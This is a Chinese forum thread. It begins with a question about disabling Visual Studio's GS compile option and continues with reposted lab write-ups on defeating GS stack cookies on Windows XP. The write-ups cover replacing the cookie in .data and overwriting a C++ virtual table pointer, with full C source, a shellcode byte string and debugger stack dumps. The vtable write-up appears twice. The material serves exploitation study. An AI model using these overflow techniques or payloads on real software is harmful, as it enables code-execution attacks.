天象独行 发表于 2020-12-17 21:40:47

Visual Studio Code 如何设定关闭GS编译选项

我使用的VS版本如下图,请问如何设定关闭GS编译选项

roger 发表于 2020-12-17 22:06:10

两种方法:
1.在main前加上#pragma warning(disable:4996)
2.




1、菜单栏中点击项目2、点击test(文件名)的属性3、选择C/C++ 将SDL检查设置为否即可




roger 发表于 2020-12-17 22:06:54

以下内容为转载:

之前在看《0day》的时候,看到10.5节,没有手动调试,最近看到论坛有篇帖子"同时替换栈和.data数据节中的Cookie突破GS安全机制",于是手动实验了一下,但是我的电脑上没有VS2008,所以用的VS2017/2015来编译,然后放到XP sp3下运行,结果就是无法成功挫败GS,原因有很多,其中一个就是发现VS2017/2015和VS2008的GS保护好像有点差别(我不知道有没有人发过类似的帖子,或者已经研究过这一点)

先说结论:VS2017/2015在对security cookie进行检查的时候,并不是像VS2008那样,检查.data的第一个DWROD,而是检查.data的第二个DWORD


代码还是上面那帖子中的代码
#include <stdafx.h>#include <string.h>#include <stdlib.h>char shellcode[]="\x90\x90\x90\x90"//用NOP修改种子"\x90\x90\x90\x90";void test(char * str, int i, char * src){       char dest;       if(i<0x9995)       {            char * buf=str+i;//指向.data,i的值是main函数中申请的内存的起始地址到种子的距离            *buf=*src;//修改.data的第一个字节            *(buf+1)=*(src+1); //修改.data的第二个字节            *(buf+2)=*(src+2); //修改.data的第三个字节            *(buf+3)=*(src+3); //修改.data的第四个字节         strcpy(dest,src);//这个函数产生溢出       }}void main(){       char * str=(char *)malloc(0x10000);//申请一片内存,并用test函数来使用       test(str,0xFFFF2FB8,shellcode);}
先看VS2008编译的程序:我不知道原楼主在编译的时候,除了书上提到的禁用优化选项之外,还在编译的时候设置了什么(这也是我说我提到的结论不知道是否正确的一个原因。)
.data段在0x403000,
然后跟进test函数,strcpy后来到这,下面的那个call应该就是security cookie check
F7进去,看到,可以看到,这里是将ecx与.data段前4个字节进行比较。
这个时候的.data段的前4个字节已经是发生改变了的,这里跟踪一下.data段前4个字节到底被改成了什么?
重新载入程序,这个是403000处初始的数据(这里一开始我还是不理解书上提到的“系统以.data节的第一个双字作为cookie种子,程序每次运行时cookie的种子都不同”这句话的意思,每次载入程序后,我看.data 0x403000处的数据都是一样的,后来我才反应过来原因:原来VS编译的程序在OEP处是一个call,而这个call就是生成security cookie的关键,这个call调用了GetSystemTimeAsFileTime等函数来生成security cookie,所以每次的security cookie都不一样,并不是说.data段的前4个字节是随机的,这里就不多说了,可以在OEP处F7跟一下)
然后在数据窗口中,对0x403000设置硬件写入断点,F9后,来到这里:,执行到返回,再F7看看这些代码是在哪个函数里的。
可以看到是OEP处生成security cookie这个call里的代码。

重新载入程序,继续F9,来到这里:会分别断在这里,这里对应的是原代码中,下来就是strcpy和check,然后就会来到最开始提到的地方,然后因为代码中同时替换了栈中和.data中的cookie于是就能绕过GS了。


这个程序是在XP SP3下调试的,如果之前那篇帖子的楼主编译正确的话,那环境应该就是和书上是一样的





接下来就是VS2017/VS2015和VS2008不同的地方:



然后看VS2017/2015编译的程序:
先看修改的项目属性:(因为我的主机是win7的,要让程序能在XP下运行得修改下面的属性)








先看区段:,数据段是0x413000
老样子,来到main函数,(这里在调用malloc的时候和上一个程序有区别,这里OD没有直接显示malloc,像这样,而是像上面那样显示的,我不知道这对最后的结果有没有影响,这也是我说我提到的结论不知道是否正确的另一个原因 )
然后F7跟进test,strcpy结束后来到check security cookie,
跟进这个check,,
看到区别了吗?VS2017/2015不再像VS2008那样去检查前4个字节,而是检查第二个DWORD。所以说如果要让这个实验在VS2017/2015编译情况下成功绕过GS,就需要改变原先的代码,原先的代码是修改了.data段第一个DWORD,现在就需要修改第二个DWORD。
所以对于VS2017/2015编译的程序在绕过GS的时候会有点差别,其实原理还是一样的。

这个程序是在win7下调试的,因为在xp sp3下strcpy之前就开始报错了,但是我之前修改过代码,解决了报错的问题,之后check也是check第二个DWORD,所以应该和平台没关系。(不确定)

大致就是这样。

roger 发表于 2020-12-17 22:09:44

环境:xp sp3
工具:OD,VS2015
写在最前面:这是微软一项用来防止栈溢出的保护机制,也就是在编译的时候在ss:的位置根据两个参数异或生成Security Cookie然后函数返回的时候会还原出参数跟.data段的种子对比,相同则没有溢出,反之溢出
具体细节看这里:GS安全编译选项的保护原理

这篇会写的很详细,因为我觉得调试这节有一种最开始学习二进制的感觉,刺激!!!!!!
《0day2》提供的代码是这样的



我们观察一下,然后给下个断点
纯文本查看 复制代码
?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// over_virtual.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "string.h"

class GSVirtual {
      public:
                void gsv(char * src)
                {
                        char buf;
                        strcpy(buf, src);
                        bar(); // virtual function call
                }
                virtual voidbar()
                {}
};

int main()
{

      GSVirtual test;
      __asm int 3
      test.gsv(
                "\x04\x2b\x99\x7C"
                "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
                "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
                "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
                "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
                "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
                "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
                "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
                "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
                "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
                "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
                "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90"
      );
      return 0;
}





VS的配置:禁用优化,开启GS,然后生成后咱们在虚拟机里面运行,断下附加OD


可以看到,push操作是把字符串的指针压栈,在数据区跟随一下可以看出来,我们单步走,遇到下面那个call跟进去


我们跟进来后可以看到生成Security Cookie的代码段,然后往下找可以看到校验Security Cookie的代码段


好了看完了Security Cookie部分,咱们来看看执行虚函数的部分,我们从代码可以看出来,执行了strcpy之后,就是执行虚函数,所以我们来看看执行虚函数的代码段


看完后我们先把这个放下,来看一个简单攻击虚函数的代码(为了更好理解虚函数整个调用过程),用VC编译就行了,同样在调用前下断点,然后附加上OD,注意观察寄存器的值
具体的调试过程在这:攻击C++虚函数

纯文本查看 复制代码
?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include "windows.h"
#include "iostream.h"
#include "cstdio"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\xAC\xBA\x40\x00";//set fake virtual function pointer

class Failwest
{
public:
      char buf;
      virtual void test(void)
      {
                cout<<"Class Vtable::test()"<<endl;
      }
};

Failwest overflow, *p;

int main(void)
{
      char * p_vtable;
      p_vtable=overflow.buf-4;//point to virtual table
      printf("%p %p\n",overflow.buf,overflow.buf-4);
      //__asm int 3
      p_vtable=0x5C;
      p_vtable=0xBB;
      p_vtable=0x40;
      p_vtable=0x00;
      strcpy(overflow.buf,shellcode);//set fake virtual function pointer
__asm int 3
      p=&overflow;
      p->test();
      return 0;
}









F8走


是不是没有看懂?
不急我们重新梳理一遍,来看一下代码,我们先不调试溢出什么的,我们就看虚函数是如何调用的?以及虚表指针到底放在哪里?
下面是我们要用到的代码,可以看到我把修改虚表指针的代码注释掉了,因为我们要是修改了虚表指针那么在调试的时候就会跳到shellcode
这里补充一下:从头至尾漫谈虚函数



OD附加上,来到虚函数指针的地址指向的地方,可以看到0x004080C8是虚表指针


然后我们跟着走


先把虚表指针的地址赋值给ECX,在数据区标注的地方就是虚表指针的地址
接着单步走


把虚表指针传给EAX,此时EAX存的是虚表指针0x004080C8,也就是说,0x004080C8这个地址开始存的是虚函数的指针,继续单步走


根据EAX处的值取出虚函数的地址0x00401020进行调用,这里是直接调用函数指针


大概是明白了吧?
我再来总结一下:先是获取虚表指针的地址,然后根据虚表指针的地址获取虚表指针,获取到虚表指针后再获取虚函数指针,最后调用虚函数指针就行了
画个示意图


继续解释:我们先获取某地址,这个地址存的是虚表指针的地址,我们可以看到这次虚表指针的地址是0x0040BAA8
然后我们根据虚表指针的地址去获取虚表指针,可以看到虚表指针是0x004080C8,然后根据虚表指针来找虚函数指针
虚函数指针是0x00401020
然后我们来看看最开始被我们丢在一边的程序
我们重新载入给个特写


按照我们刚才的分析,把代码段复制下来解释一下
纯文本查看 复制代码
?

1
2
3
4
5
004012DD    8B85 24FFFFFF   mov   eax, dword ptr ;获取虚表指针的地址
004012E3    8B10            mov   edx, dword ptr ;获取虚表指针
004012E5    8B8D 24FFFFFF   mov   ecx, dword ptr
004012EB    8B02            mov   eax, dword ptr ;获取虚函数指针
004012ED    FFD0            call    eax;调用虚函数





突然发现最近阅读汇编能力蹭蹭蹭见长啊!!!!!!
那我们就走下来看看虚表指针在哪里
哎呀!!!!!!忘了这是溢出的代码了,不过没关系,不影响前面的分析,我们来修改一下代码先不要溢出,随意减小长度就行了
重新运行到这,可以看到此时的虚表指针是0x00411A4C


继续跟着走,找到虚函数指针,看寄存器EAX的值


虚函数指针是0x00401300,我们跳过去看看,这就是虚函数代码段


现在是完全的分析了一遍如何找到虚表指针的过程,以及各种细节,如果你还不是很懂,在纸上画一画就好了
我们来额外补充一点东西,我们写两个虚函数


可以在OD里面看到,这里是两处的虚函数调用


具体分析一下
纯文本查看 复制代码
?

01
02
03
04
05
06
07
08
09
10
004012DD    8B85 28FFFFFF   mov   eax, dword ptr ;获取虚表指针的地址
004012E3    8B10            mov   edx, dword ptr ;获取虚表指针
004012E5    8B8D 28FFFFFF   mov   ecx, dword ptr
004012EB    8B02            mov   eax, dword ptr ;获取虚函数的地址
004012ED    FFD0            call    eax;调用第一个虚函数
004012EF    8B8D 28FFFFFF   mov   ecx, dword ptr ; 获取虚表指针的地址
004012F5    8B11            mov   edx, dword ptr ; 获取虚表指针
004012F7    8B8D 28FFFFFF   mov   ecx, dword ptr ;
004012FD    8B42 04         mov   eax, dword ptr ;获取虚函数的地址
00401300    FFD0            call    eax调用第二个虚函数





好了补充完了,现在开始分析如何通过覆盖虚函数的方法来突破GS
标注的地方你应该很熟悉了


走完这一段,我们来观察一下栈的布局
纯文本查看 复制代码
?

1
2
3
4
5
6
7
0012FF5C   C09D019E?澙
0012FF60/0012FF74t?.
0012FF64|00401356V@.返回到 over_vir.00401356 来自 over_vir.00401260
0012FF68|00411A388A.ASCII "Hello World!"
0012FF6C|00411A4CLA.over_vir.00411A4C
0012FF70|C09D018A?澙
0012FF74]0012FFC0?





看的出来Security Cookie吧?
然后,看到了虚表指针了吗?0x0012FF6C是虚表指针的地址
那么我们攻击的思路就是,先覆盖虚表指针,因为我们是在函数里面调用虚函数,所以并不会因为retn而进行Cookie校验
那我们就开始来定位缓冲区的起始位置,直接走完strcpy的代码段,这里我没有进行优化所以有点太直观啦ヾ(≧O≦)〃嗷~


算出中间的间隔大小后,我们来填充看看


精准覆盖!!!!!!
好了现在把栈的布局搞清楚了,我们重新修改一下代码,将我们加上的一个虚函数去掉
顺便带上《0day2》里的shellcode,注意这里我们还没有确定各种地址,先来看看具体的情况,然后再根据系统来修改


这时候我们会遇到一个问题,我们执行虚函数会call eax,执行了之后我们是回不到shellcode的,怎么办?
那我们就来梳理一下我们利用的思路:首先我们溢出,覆盖掉虚表指针,然后执行虚函数,这时候先取出虚表指针
到虚表指针指向的地方取出虚函数指针,也就是说,我们直接覆盖的虚表指针那个位置存的是shellcode起始地址,这里要理解!!!!!!
《0day2》里面说实话我是没有看懂,自己捣鼓了很久,好了假设你已经看懂了上面的,放心吧后面还会详细解释的ヾ(^▽^*)))


看,标注出来的是虚表指针0x00411A38,当然这是我已经找好的,在你的电脑上还需要手动确定一下
然后我们call的时候会执行0x7C992B11,这个是怎么确定的呢?
这就需要来观察一下栈了


这是现在的栈顶,可以看到栈顶刚好是我们shellcode的起始地址,然后我们执行call的时候,会压入一个返回地址
也就是说,我们只要执行一个pop和retn,就可以跳到shellcode
我们F7单步走一下看看,这里我已经找好pop和retn了,所以直接能演示


看,我们在进入这个call的时候,堆栈压入了一个返回地址,按照上面的代码,一个pop把返回地址弹掉,然后retn到0x0012FE94
这个位置刚好是shellcode的起始位置,也就是说我们成功跳到了shellcode的空间了
来看看具体代码


《0day2》里面是通过结束符来修改最后两位,但是我这里的情况修改最后两位是不能实现的,所以具体情况还是要根据你的电脑进行修改
最后的效果


欢迎交流

roger 发表于 2020-12-17 22:11:33

环境:xp sp3
工具:OD,VS2015
写在最前面:这是微软一项用来防止栈溢出的保护机制,也就是在编译的时候在ss:的位置根据两个参数异或生成Security Cookie然后函数返回的时候会还原出参数跟.data段的种子对比,相同则没有溢出,反之溢出
具体细节看这里:GS安全编译选项的保护原理

这篇会写的很详细,因为我觉得调试这节有一种最开始学习二进制的感觉,刺激!!!!!!
《0day2》提供的代码是这样的



我们观察一下,然后给下个断点
纯文本查看 复制代码
?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// over_virtual.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "string.h"

class GSVirtual {
      public:
                void gsv(char * src)
                {
                        char buf;
                        strcpy(buf, src);
                        bar(); // virtual function call
                }
                virtual voidbar()
                {}
};

int main()
{

      GSVirtual test;
      __asm int 3
      test.gsv(
                "\x04\x2b\x99\x7C"
                "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
                "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
                "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
                "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
                "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
                "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
                "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
                "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
                "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
                "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
                "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90"
      );
      return 0;
}





VS的配置:禁用优化,开启GS,然后生成后咱们在虚拟机里面运行,断下附加OD


可以看到,push操作是把字符串的指针压栈,在数据区跟随一下可以看出来,我们单步走,遇到下面那个call跟进去


我们跟进来后可以看到生成Security Cookie的代码段,然后往下找可以看到校验Security Cookie的代码段


好了看完了Security Cookie部分,咱们来看看执行虚函数的部分,我们从代码可以看出来,执行了strcpy之后,就是执行虚函数,所以我们来看看执行虚函数的代码段


看完后我们先把这个放下,来看一个简单攻击虚函数的代码(为了更好理解虚函数整个调用过程),用VC编译就行了,同样在调用前下断点,然后附加上OD,注意观察寄存器的值
具体的调试过程在这:攻击C++虚函数

纯文本查看 复制代码
?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include "windows.h"
#include "iostream.h"
#include "cstdio"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\xAC\xBA\x40\x00";//set fake virtual function pointer

class Failwest
{
public:
      char buf;
      virtual void test(void)
      {
                cout<<"Class Vtable::test()"<<endl;
      }
};

Failwest overflow, *p;

int main(void)
{
      char * p_vtable;
      p_vtable=overflow.buf-4;//point to virtual table
      printf("%p %p\n",overflow.buf,overflow.buf-4);
      //__asm int 3
      p_vtable=0x5C;
      p_vtable=0xBB;
      p_vtable=0x40;
      p_vtable=0x00;
      strcpy(overflow.buf,shellcode);//set fake virtual function pointer
__asm int 3
      p=&overflow;
      p->test();
      return 0;
}









F8走


是不是没有看懂?
不急我们重新梳理一遍,来看一下代码,我们先不调试溢出什么的,我们就看虚函数是如何调用的?以及虚表指针到底放在哪里?
下面是我们要用到的代码,可以看到我把修改虚表指针的代码注释掉了,因为我们要是修改了虚表指针那么在调试的时候就会跳到shellcode
这里补充一下:从头至尾漫谈虚函数



OD附加上,来到虚函数指针的地址指向的地方,可以看到0x004080C8是虚表指针


然后我们跟着走


先把虚表指针的地址赋值给ECX,在数据区标注的地方就是虚表指针的地址
接着单步走


把虚表指针传给EAX,此时EAX存的是虚表指针0x004080C8,也就是说,0x004080C8这个地址开始存的是虚函数的指针,继续单步走


根据EAX处的值取出虚函数的地址0x00401020进行调用,这里是直接调用函数指针


大概是明白了吧?
我再来总结一下:先是获取虚表指针的地址,然后根据虚表指针的地址获取虚表指针,获取到虚表指针后再获取虚函数指针,最后调用虚函数指针就行了
画个示意图


继续解释:我们先获取某地址,这个地址存的是虚表指针的地址,我们可以看到这次虚表指针的地址是0x0040BAA8
然后我们根据虚表指针的地址去获取虚表指针,可以看到虚表指针是0x004080C8,然后根据虚表指针来找虚函数指针
虚函数指针是0x00401020
然后我们来看看最开始被我们丢在一边的程序
我们重新载入给个特写


按照我们刚才的分析,把代码段复制下来解释一下
纯文本查看 复制代码
?

1
2
3
4
5
004012DD    8B85 24FFFFFF   mov   eax, dword ptr ;获取虚表指针的地址
004012E3    8B10            mov   edx, dword ptr ;获取虚表指针
004012E5    8B8D 24FFFFFF   mov   ecx, dword ptr
004012EB    8B02            mov   eax, dword ptr ;获取虚函数指针
004012ED    FFD0            call    eax;调用虚函数





突然发现最近阅读汇编能力蹭蹭蹭见长啊!!!!!!
那我们就走下来看看虚表指针在哪里
哎呀!!!!!!忘了这是溢出的代码了,不过没关系,不影响前面的分析,我们来修改一下代码先不要溢出,随意减小长度就行了
重新运行到这,可以看到此时的虚表指针是0x00411A4C


继续跟着走,找到虚函数指针,看寄存器EAX的值


虚函数指针是0x00401300,我们跳过去看看,这就是虚函数代码段


现在是完全的分析了一遍如何找到虚表指针的过程,以及各种细节,如果你还不是很懂,在纸上画一画就好了
我们来额外补充一点东西,我们写两个虚函数


可以在OD里面看到,这里是两处的虚函数调用


具体分析一下
纯文本查看 复制代码
?

01
02
03
04
05
06
07
08
09
10
004012DD    8B85 28FFFFFF   mov   eax, dword ptr ;获取虚表指针的地址
004012E3    8B10            mov   edx, dword ptr ;获取虚表指针
004012E5    8B8D 28FFFFFF   mov   ecx, dword ptr
004012EB    8B02            mov   eax, dword ptr ;获取虚函数的地址
004012ED    FFD0            call    eax;调用第一个虚函数
004012EF    8B8D 28FFFFFF   mov   ecx, dword ptr ; 获取虚表指针的地址
004012F5    8B11            mov   edx, dword ptr ; 获取虚表指针
004012F7    8B8D 28FFFFFF   mov   ecx, dword ptr ;
004012FD    8B42 04         mov   eax, dword ptr ;获取虚函数的地址
00401300    FFD0            call    eax调用第二个虚函数





好了补充完了,现在开始分析如何通过覆盖虚函数的方法来突破GS
标注的地方你应该很熟悉了


走完这一段,我们来观察一下栈的布局
纯文本查看 复制代码
?

1
2
3
4
5
6
7
0012FF5C   C09D019E?澙
0012FF60/0012FF74t?.
0012FF64|00401356V@.返回到 over_vir.00401356 来自 over_vir.00401260
0012FF68|00411A388A.ASCII "Hello World!"
0012FF6C|00411A4CLA.over_vir.00411A4C
0012FF70|C09D018A?澙
0012FF74]0012FFC0?





看的出来Security Cookie吧?
然后,看到了虚表指针了吗?0x0012FF6C是虚表指针的地址
那么我们攻击的思路就是,先覆盖虚表指针,因为我们是在函数里面调用虚函数,所以并不会因为retn而进行Cookie校验
那我们就开始来定位缓冲区的起始位置,直接走完strcpy的代码段,这里我没有进行优化所以有点太直观啦ヾ(≧O≦)〃嗷~


算出中间的间隔大小后,我们来填充看看


精准覆盖!!!!!!
好了现在把栈的布局搞清楚了,我们重新修改一下代码,将我们加上的一个虚函数去掉
顺便带上《0day2》里的shellcode,注意这里我们还没有确定各种地址,先来看看具体的情况,然后再根据系统来修改


这时候我们会遇到一个问题,我们执行虚函数会call eax,执行了之后我们是回不到shellcode的,怎么办?
那我们就来梳理一下我们利用的思路:首先我们溢出,覆盖掉虚表指针,然后执行虚函数,这时候先取出虚表指针
到虚表指针指向的地方取出虚函数指针,也就是说,我们直接覆盖的虚表指针那个位置存的是shellcode起始地址,这里要理解!!!!!!
《0day2》里面说实话我是没有看懂,自己捣鼓了很久,好了假设你已经看懂了上面的,放心吧后面还会详细解释的ヾ(^▽^*)))


看,标注出来的是虚表指针0x00411A38,当然这是我已经找好的,在你的电脑上还需要手动确定一下
然后我们call的时候会执行0x7C992B11,这个是怎么确定的呢?
这就需要来观察一下栈了


这是现在的栈顶,可以看到栈顶刚好是我们shellcode的起始地址,然后我们执行call的时候,会压入一个返回地址
也就是说,我们只要执行一个pop和retn,就可以跳到shellcode
我们F7单步走一下看看,这里我已经找好pop和retn了,所以直接能演示


看,我们在进入这个call的时候,堆栈压入了一个返回地址,按照上面的代码,一个pop把返回地址弹掉,然后retn到0x0012FE94
这个位置刚好是shellcode的起始位置,也就是说我们成功跳到了shellcode的空间了
来看看具体代码


《0day2》里面是通过结束符来修改最后两位,但是我这里的情况修改最后两位是不能实现的,所以具体情况还是要根据你的电脑进行修改
最后的效果


欢迎交流
页: [1]
查看完整版本: Visual Studio Code 如何设定关闭GS编译选项